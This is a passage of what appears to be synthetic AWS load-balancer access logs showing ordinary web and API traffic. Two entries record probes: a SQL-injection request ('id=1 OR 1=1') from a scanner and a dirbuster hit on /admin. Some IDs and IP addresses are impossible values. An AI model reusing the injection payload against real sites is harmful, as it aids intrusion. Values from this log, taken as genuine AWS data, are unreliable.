arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c565-07f7b66adde54e33ab4aad49" "-" "-" 6 2024-11-01T00:59:01.267868Z "forward" "-" "-" "10.0.43.98:443" "403" "-" "-" +http 2024-11-01T00:59:02.410813Z staging-alb 163.210.37.178:10739 197.119.147.115:443 0.002026 0.695186 0.072587 200 200 815 9100 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c566-139c25fca93249be8c73f38a" "staging-alb.example.com" "-" 10 2024-11-01T00:59:02.410813Z "forward" "-" "-" "197.119.147.115:443" "200" "-" "-" +https 2024-11-01T00:59:02.932368Z prod-api-alb 214.87.233.207:19511 10.0.142.210:443 0.002471 0.072302 0.065733 404 404 379 10422 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c566-e9fdf72f8dae46b1a6ea241e" "prod-api-alb.example.com" "-" 2 2024-11-01T00:59:02.932368Z "forward" "-" "-" "10.0.142.210:443" "404" "-" "-" +https 2024-11-01T00:59:03.627707Z prod-api-alb 144.45.224.50:51237 10.0.34.155:443 0.085138 0.399318 0.084411 200 200 463 2316 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c567-d6f88096e706450ba612e532" "prod-api-alb.example.com" "-" 7 2024-11-01T00:59:03.627707Z "forward" "-" "-" "10.0.34.155:443" "200" "-" "-" +https 2024-11-01T00:59:04.124051Z prod-web-alb 95.193.206.164:24495 10.0.24.47:443 0.040886 0.178939 0.009432 200 200 696 12554 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c568-cd997cbc196c421eb1510a14" "prod-web-alb.example.com" "-" 9 2024-11-01T00:59:04.124051Z "forward" "-" "-" "10.0.24.47:443" "200" "-" "-" +http 2024-11-01T00:59:05.989155Z staging-alb 5.94.7.10:41798 49.218.192.24:8080 0.074164 0.517797 0.127691 200 200 876 3514 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c569-c96b36debd184cb0af1acd10" "staging-alb.example.com" "-" 3 2024-11-01T00:59:05.989155Z "forward" "-" "-" "49.218.192.24:8080" "200" "-" "-" +https 2024-11-01T00:59:07.962393Z staging-alb 248.202.88.174:35788 7.100.248.40:8080 0.105809 0.020300 0.015830 404 404 379 7813 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c56b-2d1dce1f76714b49801de071" "staging-alb.example.com" "-" 3 2024-11-01T00:59:07.962393Z "forward" "-" "-" "7.100.248.40:8080" "404" "-" "-" +https 2024-11-01T00:59:09.640980Z prod-web-alb 117.177.48.78:40119 10.0.176.49:443 0.079728 0.033114 0.085966 200 200 338 9866 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c56d-655fa602e2994c6f8fc3aa56" "prod-web-alb.example.com" "-" 3 2024-11-01T00:59:09.640980Z "forward" "-" "-" "10.0.176.49:443" "200" "-" "-" +https 2024-11-01T00:59:11.232204Z prod-api-alb 28.13.220.189:18331 10.0.160.245:443 0.004679 0.243325 0.025087 302 302 679 2985 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c56f-924acdd323ce4717a6f67578" "prod-api-alb.example.com" "-" 3 2024-11-01T00:59:11.232204Z "forward" "-" "-" "10.0.160.245:443" "302" "-" "-" +https 2024-11-01T00:59:11.790053Z prod-web-alb 149.229.242.142:37805 10.0.233.253:443 0.041002 0.166301 0.069028 200 200 872 7944 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c56f-b40240a488ac491eb558ec69" "prod-web-alb.example.com" "-" 1 2024-11-01T00:59:11.790053Z "forward" "-" "-" "10.0.233.253:443" "200" "-" "-" +https 2024-11-01T00:59:13.004660Z prod-api-alb 211.16.234.229:17425 10.0.172.217:443 0.077015 0.452952 0.072804 302 302 524 11789 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c571-17834e538a4b4a0f91a8ab08" "prod-api-alb.example.com" "-" 6 2024-11-01T00:59:13.004660Z "forward" "-" "-" "10.0.172.217:443" "302" "-" "-" +https 2024-11-01T00:59:13.964677Z prod-web-alb 225.186.173.26:21603 10.0.199.63:443 0.092179 0.076181 0.019281 200 200 813 2519 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c571-0d8ce2adee5a4e29bbe9bb4d" "prod-web-alb.example.com" "-" 7 2024-11-01T00:59:13.964677Z "forward" "-" "-" "10.0.199.63:443" "200" "-" "-" +https 2024-11-01T00:59:15.079243Z prod-web-alb 117.246.89.71:26367 10.0.16.162:443 0.086986 0.095506 0.025348 200 200 962 1098 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c573-ad85e1343a144c46adc3fd83" "prod-web-alb.example.com" "-" 10 2024-11-01T00:59:15.079243Z "forward" "-" "-" "10.0.16.162:443" "200" "-" "-" +https 2024-11-01T00:59:16.122358Z prod-api-alb 242.149.80.245:56725 10.0.143.229:443 0.013798 0.327940 0.067374 200 200 341 13466 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c574-d333d2249cf34bdfb968b5c3" "prod-api-alb.example.com" "-" 6 2024-11-01T00:59:16.122358Z "forward" "-" "-" "10.0.143.229:443" "200" "-" "-" +https 2024-11-01T00:59:17.867092Z prod-web-alb 172.245.132.38:54685 10.0.146.174:443 0.031485 0.303555 0.012113 200 200 283 11758 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c575-1c3612e675134ef48f0d4aa7" "prod-web-alb.example.com" "-" 9 2024-11-01T00:59:17.867092Z "forward" "-" "-" "10.0.146.174:443" "200" "-" "-" +https 2024-11-01T00:59:17.986125Z staging-alb 55.223.67.204:20335 113.130.40.207:80 0.149289 0.542629 0.076180 301 301 118 1783 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c575-4e986b9a7b9841b0ba5fa9d6" "staging-alb.example.com" "-" 8 2024-11-01T00:59:17.986125Z "forward" "-" "-" "113.130.40.207:80" "301" "-" "-" +https 2024-11-01T00:59:18.242112Z prod-web-alb 185.181.95.188:29236 10.0.88.64:443 0.047794 0.279351 0.028149 403 403 680 6544 "POST /users?id=1 OR 1=1 HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c576-de76ed903a2044fe98bd198a" "-" "-" 6 2024-11-01T00:59:18.242112Z "forward" "-" "-" "10.0.88.64:443" "403" "-" "-" +https 2024-11-01T00:59:19.172703Z prod-api-alb 138.49.126.252:10604 10.0.42.179:443 0.032573 0.162803 0.020020 200 200 373 9128 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c577-6d4ff7dc8524423c9f14d27c" "prod-api-alb.example.com" "-" 6 2024-11-01T00:59:19.172703Z "forward" "-" "-" "10.0.42.179:443" "200" "-" "-" +https 2024-11-01T00:59:19.555051Z prod-web-alb 248.207.226.114:43832 10.0.252.190:443 0.041153 0.331531 0.016669 200 200 745 2572 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c577-8425d58bb4444440b23645cb" "prod-web-alb.example.com" "-" 6 2024-11-01T00:59:19.555051Z "forward" "-" "-" "10.0.252.190:443" "200" "-" "-" +https 2024-11-01T00:59:21.041437Z staging-alb 198.50.92.190:37660 87.56.219.235:80 0.143849 0.432962 0.147767 301 301 581 6692 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c579-e17acf234d704676a1cb694b" "staging-alb.example.com" "-" 4 2024-11-01T00:59:21.041437Z "forward" "-" "-" "87.56.219.235:80" "301" "-" "-" +https 2024-11-01T00:59:21.207144Z prod-web-alb 202.187.17.190:57975 10.0.21.235:443 0.021901 0.489730 0.079966 200 200 227 14651 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c579-b2c174ecaebc4f3c9871e51b" "prod-web-alb.example.com" "-" 7 2024-11-01T00:59:21.207144Z "forward" "-" "-" "10.0.21.235:443" "200" "-" "-" +https 2024-11-01T00:59:21.726111Z prod-web-alb 208.91.159.203:14486 10.0.212.16:443 0.041039 0.138197 0.048510 302 302 934 3455 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c579-acdb1f790e9041b39ead2f0a" "prod-web-alb.example.com" "-" 6 2024-11-01T00:59:21.726111Z "forward" "-" "-" "10.0.212.16:443" "302" "-" "-" +https 2024-11-01T00:59:21.983698Z staging-alb 188.166.72.33:57549 59.97.4.8:443 0.068683 0.665100 0.109539 301 301 51 4174 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c579-290a2721cf0e4745bc12067b" "staging-alb.example.com" "-" 6 2024-11-01T00:59:21.983698Z "forward" "-" "-" "59.97.4.8:443" "301" "-" "-" +https 2024-11-01T00:59:22.997136Z prod-web-alb 183.37.220.228:62202 10.0.204.133:443 0.096967 0.230566 0.074935 301 301 647 10285 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c57a-2437236aa3504127b677002a" "prod-web-alb.example.com" "-" 10 2024-11-01T00:59:22.997136Z "forward" "-" "-" "10.0.204.133:443" "301" "-" "-" +https 2024-11-01T00:59:24.601704Z staging-alb 132.53.170.126:61728 81.175.49.53:8080 0.022116 0.558858 0.021149 404 404 317 2787 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c57c-662d130637a54b9caf7109b9" "staging-alb.example.com" "-" 8 2024-11-01T00:59:24.601704Z "forward" "-" "-" "81.175.49.53:8080" "404" "-" "-" +https 2024-11-01T00:59:26.190509Z staging-alb 189.62.203.6:54611 74.21.226.74:80 0.130702 0.321938 0.022743 302 302 272 1913 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c57e-f95d70bb2dbf4dadaaeb44ef" "staging-alb.example.com" "-" 0 2024-11-01T00:59:26.190509Z "forward" "-" "-" "74.21.226.74:80" "302" "-" "-" +https 2024-11-01T00:59:27.222983Z staging-alb 95.15.115.185:36416 63.141.87.224:443 0.029332 0.611382 0.135775 200 200 232 7652 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c57f-4e51eb1b4f224e8e96124f94" "staging-alb.example.com" "-" 4 2024-11-01T00:59:27.222983Z "forward" "-" "-" "63.141.87.224:443" "200" "-" "-" +https 2024-11-01T00:59:28.150441Z prod-api-alb 185.181.110.51:64137 10.0.201.228:443 0.064213 0.194265 0.074233 302 302 169 11420 "POST /admin HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c580-fbce2e41d18b47a68e95459f" "-" "-" 7 2024-11-01T00:59:28.150441Z "forward" "-" "-" "10.0.201.228:443" "302" "-" "-" +https 2024-11-01T00:59:29.802872Z prod-api-alb 230.52.207.166:54397 10.0.71.17:443 0.001051 0.331135 0.067109 404 404 477 3629 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c581-5abf372f20da4decbc2de5ad" "prod-api-alb.example.com" "-" 0 2024-11-01T00:59:29.802872Z "forward" "-" "-" "10.0.71.17:443" "404" "-" "-" +https 2024-11-01T00:59:30.269434Z staging-alb 21.118.144.71:18908 184.60.76.166:443 0.086008 0.353380 0.057985 301 301 207 3184 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c582-a572a56b75e54c4b8111bca3" "staging-alb.example.com" "-" 1 2024-11-01T00:59:30.269434Z "forward" "-" "-" "184.60.76.166:443" "301" "-" "-" +https 2024-11-01T00:59:31.680544Z prod-api-alb 254.87.59.216:13996 10.0.36.108:443 0.045940 0.361903 0.050618 200 200 207 5771 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c583-d47741dce1ba4ca18567592e" "prod-api-alb.example.com" "-" 3 2024-11-01T00:59:31.680544Z "forward" "-" "-" "10.0.36.108:443" "200" "-" "-" +https 2024-11-01T00:59:33.065199Z prod-web-alb 91.131.229.167:12247 10.0.195.251:443 0.058858 0.282243 0.014373 301 301 96 7695 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c585-5c1b18129bf241a2be1083c1" "prod-web-alb.example.com" "-" 3 2024-11-01T00:59:33.065199Z "forward" "-" "-" "10.0.195.251:443" "301" "-" "-" +https 2024-11-01T00:59:34.373757Z prod-api-alb 218.202.80.173:56346 10.0.154.102:443 0.012001 0.240552 0.031219 200 200 296 4415 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c586-36ebd7b685d64c5e86577583" "prod-api-alb.example.com" "-" 3 2024-11-01T00:59:34.373757Z "forward" "-" "-" "10.0.154.102:443" "200" "-" "-" +https 2024-11-01T00:59:34.532999Z staging-alb 148.157.66.55:53914 99.122.38.246:80 0.097677 0.309579 0.055748 200 200 765 7737 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c586-8f1c2e9e84b84928a4d98239" "staging-alb.example.com" "-" 5 2024-11-01T00:59:34.532999Z "forward" "-" "-" "99.122.38.246:80" "200" "-" "-" +http 2024-11-01T00:59:35.513821Z staging-alb 50.56.228.106:22880 88.174.15.89:80 0.042585 0.314664 0.062833 200 200 744 7503 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c587-fcadc6f44739487ab037a1fe" "staging-alb.example.com" "-" 6 2024-11-01T00:59:35.513821Z "forward" "-" "-" "88.174.15.89:80" "200" "-" "-" +http 2024-11-01T00:59:36.167502Z staging-alb 33.3.248.171:54168 78.194.235.28:443 0.127289 0.670074 0.014818 404 404 820 4659 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c588-a0995ec2daab45b9bc4b938a" "staging-alb.example.com" "-" 8 2024-11-01T00:59:36.167502Z "forward" "-" "-" "78.194.235.28:443" "404" "-" "-" +https 2024-11-01T00:59:37.084230Z prod-web-alb 114.110.117.27:57660 10.0.192.128:443 0.045548 0.067304 0.035792 404 404 519 7498 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c589-606d8f8026db4df2b27a0b08" "prod-web-alb.example.com" "-" 3 2024-11-01T00:59:37.084230Z "forward" "-" "-" "10.0.192.128:443" "404" "-" "-" +https 2024-11-01T00:59:39.051434Z staging-alb 48.168.47.20:30005 234.77.94.160:443 0.020289 0.433339 0.055076 200 200 177 10360 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c58b-9117e8327c5248f9a7aa7de0" "staging-alb.example.com" "-" 5 2024-11-01T00:59:39.051434Z "forward" "-" "-" "234.77.94.160:443" "200" "-" "-" +https 2024-11-01T00:59:40.053621Z staging-alb 200.187.109.183:60410 133.184.16.239:443 0.028400 0.414552 0.128931 200 200 925 1648 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c58c-3a883e0c1c034c1891e87d84" "staging-alb.example.com" "-" 3 2024-11-01T00:59:40.053621Z "forward" "-" "-" "133.184.16.239:443" "200" "-" "-" +https 2024-11-01T00:59:41.280186Z prod-web-alb 194.57.139.144:29927 10.0.253.167:443 0.081548 0.443240 0.041267 200 200 373 6389 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c58d-b077d98c794a45979a11c530" "prod-web-alb.example.com" "-" 10 2024-11-01T00:59:41.280186Z "forward" "-" "-" "10.0.253.167:443" "200" "-" "-" +http 2024-11-01T00:59:42.962027Z staging-alb 57.134.234.243:58425 237.134.215.102:80 0.058518 0.119508 0.149592 200 200 181 14863 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c58e-0b9d007767d04db880d18784" "staging-alb.example.com" "-" 2 2024-11-01T00:59:42.962027Z "forward" "-" "-" "237.134.215.102:80" "200" "-" "-" +https 2024-11-01T00:59:44.756642Z prod-web-alb 202.130.43.221:42972 10.0.190.249:443 0.088477 0.127090 0.013652 404 404 164 13003 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c590-3436e5c3deab4ebdb4030808" "prod-web-alb.example.com" "-" 0 2024-11-01T00:59:44.756642Z "forward" "-" "-" "10.0.190.249:443" "404" "-" "-" +https 2024-11-01T00:59:45.410340Z staging-alb 81.192.189.48:31990 232.66.100.21:8080 0.146942 0.258106 0.058928 200 200 953 14741 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c591-1454a97e23694a879f52b687" "staging-alb.example.com" "-" 4 2024-11-01T00:59:45.410340Z "forward" "-" "-" "232.66.100.21:8080" "200" "-" "-" +https 2024-11-01T00:59:45.556681Z prod-web-alb 69.7.161.73:13262 10.0.69.183:443 0.050859 0.177226 0.023658 302 302 565 9937 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c591-9d79c90013f74cfcaf515ec4" "prod-web-alb.example.com" "-" 1 2024-11-01T00:59:45.556681Z "forward" "-" "-" "10.0.69.183:443" "302" "-" "-" +https 2024-11-01T00:59:46.999243Z prod-api-alb 66.100.36.51:18286 10.0.164.160:443 0.024718 0.119131 0.004301 200 200 307 13360 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c592-bb3133983ce447528d07a37e" "prod-api-alb.example.com" "-" 3 2024-11-01T00:59:46.999243Z "forward" "-" "-" "10.0.164.160:443" "200" "-" "-" +http 2024-11-01T00:59:47.747267Z staging-alb 181.202.217.113:31467 174.71.39.119:80 0.048687 0.746583 0.025918 404 404 658 7165 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c593-fb141b77f42148768d24e2d4" "staging-alb.example.com" "-" 9 2024-11-01T00:59:47.747267Z "forward" "-" "-" "174.71.39.119:80" "404" "-" "-" +https 2024-11-01T00:59:49.473900Z staging-alb 72.61.98.161:18791 211.159.187.180:443 0.069644 0.368166 0.019049 404 404 796 13734 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c595-b0d3281d7f9046efb765979e" "staging-alb.example.com" "-" 4 2024-11-01T00:59:49.473900Z "forward" "-" "-" "211.159.187.180:443" "404" "-" "-" +https 2024-11-01T00:59:51.416079Z prod-api-alb 253.172.128.39:49918 10.0.161.112:443 0.007776 0.333445 0.024330 200 200 592 14751 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c597-10d18abbefd447b7ad8817a6" "prod-api-alb.example.com" "-" 3 2024-11-01T00:59:51.416079Z "forward" "-" "-" "10.0.161.112:443" "200" "-" "-" +https 2024-11-01T00:59:51.735756Z staging-alb 32.143.35.40:32358 173.117.10.2:8080 0.082240 0.269794 0.139701 200 200 68 11340 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a 